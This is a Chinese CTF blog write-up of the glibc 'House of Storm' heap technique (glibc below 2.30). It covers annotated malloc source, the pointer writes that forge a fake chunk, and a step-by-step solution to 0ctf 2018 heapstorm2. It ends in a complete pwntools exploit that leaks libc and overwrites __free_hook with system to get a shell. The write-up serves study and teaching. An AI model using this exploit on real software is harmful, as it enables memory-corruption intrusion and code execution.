漏洞危害

House_of_storm 可以在任意地址写出chunk地址,进而把这个地址的高位当作size,可以进行任意地址分配chunk,也就是可以造成任意地址写的后果,危害十分之大。 House_of_storm 虽然危害之大,但是其条件也是非常的苛刻。

漏洞利用条件

  1. glibc版本小于2.30,因为2.30之后加入了检查
  2. 需要攻击者在 large_binunsorted_bin 中分别布置一个chunk 这两个chunk需要在归位之后处于同一个 largebin 的index中且 unsorted_bin 中的chunk要比 large_bin 中的大
  3. 需要 unsorted_bin 中的 bk指针 可控
  4. 需要 large_bin 中的 bk指针和bk_nextsize 指针可控

*1*|***1***原理及源码分析

漏洞发生在unsorted_bin的chunk放入largebin的过程中,以下是glibc2.23的源码分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
//#define unsorted_chunks(M)          (bin_at (M, 1))
//如果unsorted bins不为空,从尾到头遍历unsorted bin中的每个chunk
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av))
{
bck = victim->bk;//取出unsorted的尾部的chunk
/*
检查当前遍历的 chunk 是否合法,chunk 的大小不能小于等于 2 * SIZE_SZ,
也不能超过 该分配区总的内存分配量。然后获取 chunk 的大小并赋值给 size。
这里的检查似乎有点小问题,直接使用了 victim->size,但 victim->size
中包含了相关的标志位信息,使用 chunksize(victim) 才比较合理,但在
unsorted bin 中的空闲 chunk 的所有标志位都清零了,所以这里直接
victim->size 没有问题。
*/
if (__builtin_expect(victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect(victim->size > av->system_mem, 0))
malloc_printerr(check_action, "malloc(): memory corruption",
chunk2mem(victim), av);

size = chunksize(victim);//获取victim的size

/*
如果要申请的大小在smallbin范围 且 unsorted chunks 只有一个chunk,且
victim是last_remainder 且 victim的size大于请求的chunk的大小nb加上
(MINSIZE)最小chunk的size,那么就切割remainder,然后返回victim。

last_remainder 是一个 chunk 指针,分配区上次分配 small chunk 时,
从一个 chunk 中分 裂出一个 small chunk 返回给用户,分裂后的剩余部分
形成一个 chunk,last_remainder 就是 指向的这个 chunk。
*/
if (in_smallbin_range(nb) &&
bck == unsorted_chunks(av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {

//分割remainder
remainder_size = size - nb;//计算分割后剩下的size
remainder = chunk_at_offset(victim, nb);//获取remainder的地址
//把remainder加入unsorted bin中
unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
av->last_remainder = remainder; // 设置last_remainder为remainder
remainder->bk = remainder->fd = unsorted_chunks(av);
//如果是remainder在large bin的范围,则把fd_nextsize,fd_nextsize清零
if (!in_smallbin_range(remainder_size)) {
remainder->fd_nextsize = NULL;
remainder->fd_nextsize = NULL;
}
//设置victim的size
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
//设置remainder的size
set_head(remainder, remainder_size | PREV_INUSE);
//设置remainder的物理相邻的下一个chunk的prev_size
set_foot(remainder, remainder_size);

check_malloced_chunk(av, victim, nb);//默认不做任何操作
void *p = chunk2mem(victim);//将chunk指针转化为mem指针
alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做
return p;
}


//把victim从unsorted bin 中移除
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);

//如果 victim 的size 与申请的size相等,那么就返回其。
if (size == nb) {
//设置victim物理相邻的下一个chunk的prev_inuse位
set_inuse_bit_at_offset(victim, size);
//如果av不是main_arena 也就是说如果不是主进程,设置NON_MAIN_ARENA位
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;

check_malloced_chunk(av, victim, nb); // 默认不做任何操作
void *p = chunk2mem(victim);//把chunk转换为mem指针
alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做
return p;
}


//如果上一步取出的chunk没有匹配成功,那么将该chunk放入对应的bin中
//如果在smallbin的范围,则放到对应多small bin中
if (in_smallbin_range(size))
{
victim_index = smallbin_index(size);//获取size对应的smallbin的index
bck = bin_at(av, victim_index);//bck指向size对应的smallbin的链表头
//fwd指向size对应的smallbin的链表中的新加入的chunk(small bin使用头插法)
fwd = bck->fd;
}
else//如果不再smallbin的范围,也就是说在large bin 的范围
{
victim_index = largebin_index(size);//获取size对应的large bin的index
bck = bin_at(av, victim_index);//bck指向size对应的large bin的链表头
fwd = bck->fd;//fwd指向size对应的large bin的链表中的新加入的chunk

//如果large bin 非空,在largbin进行按顺序插入
if (fwd != bck) {
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
assert((bck->bk->size & NON_MAIN_ARENA) == 0);//默认不启用assert
/*
large bin中的chunk是按从大到小排列的,如果size < large bin
的最后一个chunk,说明size是这个large bin中的最小的,我们把它
加入到此large bin尾部。
*/
if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) {

fwd = bck;
bck = bck->bk;

/*
large bin 中size最小的chunk的fd_nextsize会指向size最大的
那个chunk,也就是首部的chunk。同样,large bin 中size最大的
chunk的bk_nextsize会指向size最小的那个chunk。
victim的bk_nextsize指向large bin原来最小的chunk,它的
bk_nextsize指向最大的那个chunk。那么原来的最小的就成了第二小的了。
把它fd_nextsize和bk_nextsize都修正。
*/
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
//最大size的chunk的bk_nextsize,和原来最小chunk的bk_nextsize都指向victim
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else //如果victim不是large bin 中最小的chunk
{
assert((fwd->size & NON_MAIN_ARENA) == 0);//默认不启用assert
//从大到小(从头到尾)找到合适的位置
while ((unsigned long) size < fwd->size) {
fwd = fwd->fd_nextsize;
assert((fwd->size & NON_MAIN_ARENA) == 0);
}
//如果size刚好相等,就直接加入到其后面省的改fd_nextsize和bk_nextsize了
if ((unsigned long) size == (unsigned long) fwd->size)
fwd = fwd->fd;
else
{
//size不相等,即size>fwd->size,把victim加入到纵向链表中
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else //如果large bin 为空,将victim加入到纵向列表
victim->fd_nextsize = victim->bk_nextsize = victim;
}

//#define mark_bin(m, i) ((m)->binmap[idx2block (i)] |= idx2bit (i))
mark_bin(av, victim_index); //把victim加入到的bin的表示为非空
//把victim加入到large bin的链表中
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
}

我们把关键部分拿出来再来看一看,我了方便看部分代码有改动,我们将unsorted_chunk

1
2
3
4
5
6
//我们控制unsorted_chunk->bk = fake_chunk

//unsorted_chunks(av)->bk = fake_chunk
unsorted_chunks(av)->bk = unsorted_chunk->bk;
//fake_chunk+0x10 = unsorted_bin
bck->fd = unsorted_chunks(av);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
            else 
{
/*
如果unsorted_chunk->size 大于 largbin_chunk->size,
把unsorted_chunk加入到纵向链表中
我们控制
large_chunk->bk = fake_chunk+0x8
large_chunk->bk_nextsize=fake_chunk-0x18-5
*/


unsorted_chunk->fd_nextsize = largbin_chunk;

//unsorted_chunk->bk_nextsize = fake_chunk-0x18-5
unsorted_chunk->bk_nextsize = largbin_chunk->bk_nextsize;

largbin_chunk->bk_nextsize = unsorted_chunk;

//fake_chunk+0x3 = unsorted_chunk
unsorted_chunk->bk_nextsize->fd_nextsize = unsorted_chunk;
}
//bck = fake_chunk+0x8
bck = largbin_chunk->bk;
}
}

mark_bin(av, unsorted_chunk_index); //把unsorted_chunk加入到的bin的表示为非空
//把unsorted_chunk加入到large bin的链表中

unsorted_chunk->bk = bck;
unsorted_chunk->fd = largbin_chunk;
largbin_chunk->bk = unsorted_chunk;
//fake_chunk+0x18 = unsorted_chunk
bck->fd = unsorted_chunk;

主要改写就一下4个地方

  1. unsorted_bin->bk = fake_chunk #把fake_chunk链到了unsorted_bin中
  2. fake_chunk+0x10 = unsorted_bin #伪造fake_chunk的fd
  3. fake_chunk+0x3 = unsorted_chunk #伪造fake_chunk的size
  4. fake_chunk+0x18 = unsorted_chunk #伪造fake_chunk的bk

通过以上4步,我们成功伪造一个合法的fake_chunk,满足unsorted bin的要求,并把它链到了unsorted bin中

例子

BUUCT-PWN 0ctf_2018_heapstorm2(house of storm)

题目分析

这题估计是house of storm利用的起源?
因为用这种办法直接就可以做通,后面还有rctf_2019_babyheap也需要用到house of storm,但是那题限制条件多多了
init()里先把fastbin禁用了

在这里插入图片描述

申请了0x13370000这块内存,并且做了初始化

在这里插入图片描述

初始化首先读入长度为0x18的随机数,就记为3个long long随机数吧,分别为r1,r2,r3,然后从0x13370820开始,左边和r1亦或,右边和r2亦或(在后边使用中,左边是分配的存放内容的地址与r1亦或结果,右边是size和r2亦或结果)

在这里插入图片描述

update中限制了读入长度为size-12,并且有一个off-by-null漏洞

在这里插入图片描述

漏洞利用

1.首先,我们申请这么几个堆
1
2
3
4
5
6
7
add(0x18)#0
add(0x508)#1
add(0x18)#2
add(0x18)#3
add(0x508)#4
add(0x18)#5
add(0x18)#6
2.编辑chunk1,在chunk2-0x10的地方写入0x500,这样做是为了错位,防止之后申请的时候的chunk2的inuse位置1,然后删除chunk1,把chunk2的inuse变为0(这里chunk2的inuse表示chunk1是否空闲)
3.利用off-by-null漏洞编辑chunk0,使得chunk1的size变为0x500
4.再次申请,大小分别为0x18,0x4d8,idx分别为1和7,这样刚好分配了0x500的空间,把刚刚修改之后的chunk1的size用完了
5.删除idx1,然后删除chunk2,此时会进行chunk1和2的合并,合并之后大小为0x530。这时候再申请一个0x38和0x4e8大小的堆,idx分别为1,2,这就造成了重叠:即idx7的chunk的content指向idx2的chunk-0x10位置处
6.按上面4的方法再进行一次重叠,记这一步申请出的0x4d8为idx8,当合并出0x530的chunk后,申请0x48大小的堆,idx为4。此时unsorted bin还剩0x4e0大小的chunk
7.此时删除idx2,该chunk进入unsortedbin,然后把它申请回来,这个时候会把上一步剩下的0x4e0chunk弄进largin bin中,这样Idx8就能控制一个free的large bin
8.重新把2删除,这样idx7就能控制一个free的unsorted bin,chunk大小为0x4f0
9.现在,编辑idx7,把unsorted bin的bk改为0x13370000-0x20(0x133707e0),编辑idx8,把large bin的bk改为0x13370000-0x18,bk_nextsize改为0x13370000-0x20-0x18-5
10.这时,申请一个0x48大小的堆,如果我们运气好,就能成功,此时申请出的堆指向0x133707f0,结果如下图:
我们申请出0x133707e0处伪造出的的chunk

在这里插入图片描述

这是large bin

在这里插入图片描述

这是unsorted bin

在这里插入图片描述

在这里插入图片描述

这一步的原理就比较复杂了,下面我尽量解释清楚:

我们在申请一个0x48大小的堆,需要chunk大小为0x50,首先libc中代码会从fastbin中寻找,之后又在small bin寻找,但是它们都为空,所以就从unsorted bin中寻找是否有合适的chunk,此时由于我们的伪造实际上unsorted bin中有2个chunk,首先被判断的是0x4f0大小的chunk,显然大小不对,而由于unsorted bin还有其他chunk,因此不会切割它,而是要把它放入large bin中
此时large bin中已经有了大小0x4e0的chunk,我们要把0x4f0的chunk放进去,就会执行以下操作

1
2
3
4
5
6
7
8
9
10
11
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
....
bck = fwd->bk;
....
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

其中victim为要进行插入的0x4f0大小chunk,fwd为large bin中0x4e0大小的chunk
我们重点关注以下几个操作

1
2
victim->bk_nextsize = fwd->bk_nextsize;
victim->bk_nextsize->fd_nextsize = victim;

fwd->bk_nextsize为0x133707c3,他的fd_nextsize就为0x133707e3,libc会向其中写入victim的地址

把该chunk放入large bin之后,libc会接着检查unsorted bin中下一个chunk(即我们伪造的0x133707e0),此时由于错位,该chunk的size正好是0x50,然后就被分配给我们了

在这里插入图片描述

但为什么说要运气好才能成功,因为还要满足这个条件,is_mmapped为倒数第二个bit,所以我们需要victim开头是0x56才能满足

1
2
assert (!mem || chunk_is_mmapped (mem2chunk (mem)) ||
av == arena_for_chunk (mem2chunk (mem)));
11.现在我们都已经申请出0x13370800这块地方,接下来就可以写入我们需要的地址进行泄露或者编辑了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
payload = p64(0)*4 + p64(0) + p64(0x13377331) + p64(storage)
edit(2, payload)

payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(fake_chunk+3) + p64(8)
edit(0, payload)

show(1)
r.recvuntil("]: ")
heap = u64(r.recv(6).ljust(8, '\x00'))
success("heap:"+hex(heap))

payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(heap+0x10) + p64(8)
edit(0, payload)

show(1)
r.recvuntil("]: ")
malloc_hook = u64(r.recv(6).ljust(8, '\x00')) -0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
success("malloc_hook:"+hex(malloc_hook))

payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(free_hook) + p64(0x100) + p64(storage+0x50) + p64(8) + '/bin/sh\x00'
edit(0, payload)
edit(1, p64(system))
delete(2)

第一次编辑,在idx0出写入0x13370800,由于0x48长度限制只能写到这里

在这里插入图片描述

第二次编辑,利用0x133707e3处的地址获得一个堆上地址,并利用该chunk泄露libc

在这里插入图片描述

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import*
from LibcSearcher import*
context.log_level='debug'
r=process('./0ctf_2018_heapstorm2')
#r=remote('node4.buuoj.cn',28089)
elf=ELF('./0ctf_2018_heapstorm2')
libc=ELF('./2.23/libc.so.6')
#libc=ELF('./libc-2.23.so')
def add(size):
r.sendlineafter(':','1')
r.sendlineafter(':',str(size))

def edit(ind,test):
r.sendlineafter(':','2')
r.sendlineafter(':',str(ind))
r.sendlineafter(':',str(len(test)))
r.sendlineafter(':',test)

def dele(ind):
r.sendlineafter(':','3')
r.sendlineafter(':',str(ind))

def show(ind):
r.sendlineafter(':','4')
r.sendlineafter(':',str(ind))

add(0x18)#0
add(0x508)
add(0x18)

add(0x18)#3
add(0x508)
add(0x18)
add(0x18)

edit(1,p64(0)*(0x4f0/0x8)+p64(0x500))
dele(1)
edit(0,'a'*0xc)
add(0x18)
add(0x4d8)#7
dele(1)
dele(2)
add(0x38)#1
add(0x4e8)#2


edit(4,p64(0)*(0x4f0/0x8)+p64(0x500))
dele(4)
edit(3,'a'*0xc)
add(0x18)
add(0x4d8)#8
dele(4)
dele(5)
add(0x48)#4
#add(0x4d8)#5


dele(2)
add(0x4e8)
dele(2)

edit(7,p64(0)*3+p64(0x4f1)+p64(0x13377331)+p64(0x13370800-0x20))
edit(8,p64(0)*5+p64(0x4e1)+p64(0x13377331)+p64(0x13370800-0x18)+p64(0)+p64(0x13370800-0x20-0x18-5))
add(0x48)#2
payload = p64(0)*4 + p64(0) + p64(0x13377331) + p64(0x13370800)
edit(2, payload)
payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(0x13370800) + p64(0x1000) + p64(0x13370800-0x20+3) + p64(8)
edit(0, payload)

show(1)
r.recvuntil('Chunk[1]: ')
heap=u64(r.recvuntil('\x56')[-6:].ljust(8,'\x00'))
print hex(heap)
payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(0x13370800) + p64(0x1000) + p64(heap+16) + p64(8)
edit(0, payload)
show(1)
r.recvuntil('Chunk[1]: ')
base=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['__malloc_hook']-0x58-0x10
print hex(base)
payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(0x13370800) + p64(0x1000) + p64(base+libc.sym['__free_hook']) + p64(0x100)+p64(0x13370800+0x50)+p64(8)+'/bin/sh\x00'
edit(0, payload)
edit(1,p64(base+libc.sym['system']))
dele(2)
#gdb.attach(r)


r.interactive()

版权声明:本文为CSDN博主「L.o.W」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_44145820/article/details/105740530